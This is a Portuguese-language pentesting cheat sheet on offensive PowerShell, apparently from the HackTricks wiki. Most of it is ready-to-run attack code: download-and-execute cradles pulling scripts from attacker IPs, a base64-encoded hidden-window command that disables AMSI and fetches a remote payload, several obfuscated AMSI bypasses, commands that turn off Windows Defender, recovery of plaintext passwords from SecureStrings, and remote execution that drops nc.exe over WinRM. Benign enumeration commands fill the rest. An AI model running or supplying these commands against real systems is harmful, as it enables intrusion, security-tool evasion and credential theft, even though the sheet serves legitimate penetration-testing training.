# PowerShell Básico para Pentesters {{#include ../../banners/hacktricks-training.md}} ## Localizações padrão do PowerShell ```bash C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Comandos básicos do PS para começar ```bash Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic Get-Help Get-Item -Examples #List examples Import-Module Get-Command -Module ``` ## Baixar e Executar ```bash echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd( #https://twitter.com/Alh4zr3d/status/1566489367232651264 #host a text record with your payload at one of your (unburned) domains and do this: powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` ### Baixar e Executar em segundo plano com Bypass do AMSI ```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` ### Usando b64 do linux ```bash echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` ## Download ### System.Net.WebClient ```bash (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` ### Invoke-WebRequest ```bash Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget ```bash wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer ```bash Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ## Base64 Kali & EncodedCommand ```bash kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` ## [Política de Execução](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy) ## [Linguagem Constrangida](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## [Política do AppLocker](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## Habilitar WinRM (PS Remoto) ```bash enable-psremoting -force #This enables winrm # Change NetWorkConnection Category to Private #Requires -RunasAdministrator Get-NetConnectionProfile | Where{ $_.NetWorkCategory -ne 'Private'} | ForEach { $_ $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm } ``` ## Desativar o Defender ```bash # Check status Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl #Check exclusions # Disable Set-MpPreference -DisableRealtimeMonitoring $true #To completely disable Windows Defender on a computer, use the command: New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force # Set exclusion path Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring Add-MpPreference -ExclusionPath (pwd) # Check exclusions configured via GPO Parse-PolFile .\Registry.pol KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions ValueName : Exclusions_Paths ValueType : REG_DWORD ValueLength : 4 ValueData : 1 KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths ValueName : C:\Windows\Temp ValueType : REG_SZ ValueLength : 4 ValueData : 0 ``` ### Bypass do AMSI **`amsi.dll`** é **carregado** no seu processo e possui as **exportações** necessárias para qualquer aplicação interagir. E como está carregado no espaço de memória de um processo que você **controla**, você pode alterar seu comportamento **sobrescrevendo instruções na memória**. Fazendo com que não detecte nada. Portanto, o objetivo dos bypasses do AMSI que você usará é **sobrescrever as instruções desse DLL na memória para tornar a detecção inútil**. **Página da web do gerador de bypass do AMSI**: [**https://amsi.fail/**](https://amsi.fail/) ```bash # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) # Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 $A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " " ). GetField([string](38..51|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " ",'NonPublic,Static'). SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI [Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI &( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI ${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s') ${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c') ${1}.SetValue($null,$true) # Another Method $a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u)) $field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static') $field.SetValue($null,$true) # AMSI Bypass in python https://fluidattacks.com/blog/amsi-bypass-python/ # Testing for Amsi Bypass: https://github.com/rasta-mouse/AmsiScanBufferBypass # Amsi-Bypass-Powershell https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell https://blog.f-secure.com/hunting-for-amsi-bypasses/ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans https://slaeryan.github.io/posts/falcon-zero-alpha.html ``` ### AMSI Bypass 2 - Managed API Call Hooking Confira [**este post para informações detalhadas e o código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introdução: Esta nova técnica baseia-se no hooking de chamadas de API de métodos .NET. Acontece que, os métodos .NET precisam ser compilados para instruções de máquina nativas na memória, que acabam parecendo muito semelhantes aos métodos nativos. Esses métodos compilados podem ser hookados para alterar o fluxo de controle de um programa. Os passos para realizar o hooking de chamadas de API de métodos .NET são: 1. Identificar o método alvo para hook 2. Definir um método com o mesmo protótipo de função que o alvo 3. Usar reflexão para encontrar os métodos 4. Garantir que cada método tenha sido compilado 5. Encontrar a localização de cada método na memória 6. Sobrescrever o método alvo com instruções apontando para nosso método malicioso ### AMSI Bypass 3 - SeDebug Privilege [**Seguindo este guia & código**](https://github.com/MzHmO/DebugAmsi) você pode ver como, com privilégios suficientes para depurar processos, você pode iniciar um processo powershell.exe, depurá-lo, monitorar quando ele carrega `amsi.dll` e desativá-lo. ### AMSI Bypass - More Resources - Confira a página sobre **[Bypassing AVs & AMSI](../av-bypass.md)** - [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) - [Amsi Bypass on Windows 11 In 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023) ## PS-History ```bash Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## Encontrar arquivos mais novos Opções: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc` ```bash # LastAccessTime: (gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName # LastWriteTime: (gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName ``` ## Obter permissões ```bash Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` ## Versão do SO e HotFixes ```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## Ambiente ```bash Get-ChildItem Env: | ft Key,Value -AutoSize #get all values $env:UserName @Get UserName value ``` ## Outros drives conectados ```bash Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### Lixeira ```bash $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` [https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) ## Reconhecimento de Domínio {{#ref}} powerview.md {{#endref}} ## Usuários ```bash Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## Secure String to Plaintext ```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) $cred.GetNetworkCredential() | fl UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` Ou analisando diretamente a partir do XML: ```bash $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO ```bash #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) #For local: Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')" #For WINRM #CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user) Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred #DOWNLOAD nc.exe Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}' #Another method $secpasswd = ConvertTo-SecureString "" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) $computer = "" ``` ## Grupos ```bash Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Área de Transferência ```bash Get-Clipboard ``` Realize algum monitoramento da área de transferência usando: - [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) - [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard) ## Processes ```bash Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## Serviços ``` Get-Service ``` ## Senha de string segura ```bash $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` ## Tarefas Agendadas ```bash Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ## Rede ### Varredura de Portas ```bash # Check Port or Single IP Test-NetConnection -Port 80 10.10.10.10 # Check Port List in Single IP 80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null # Check Port Range in single IP 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null # Check Port List in IP Lists - 80,443,445,8080 "10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null} ``` ### Interfaces ```bash Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Firewall ```bash Get-NetFirewallRule -Enabled True Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow # Open SSH to the world New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow # Get name, proto, local and rremote ports, remote address, penable,profile and direction ## You can user the following line changing the initial filters to indicat a difefrent direction or action Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` ### Rota ```bash route print ``` ### ARP ```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Hosts ```bash Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping ```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP ```bash Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## **Convertendo a String SDDL em um Formato Legível** ```bash PS C:\> ConvertFrom-SddlString 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Owner : BUILTIN\Administrators Group : BUILTIN\Administrators DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...} SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess (Traverse)...} RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor ``` {{#include ../../banners/hacktricks-training.md}}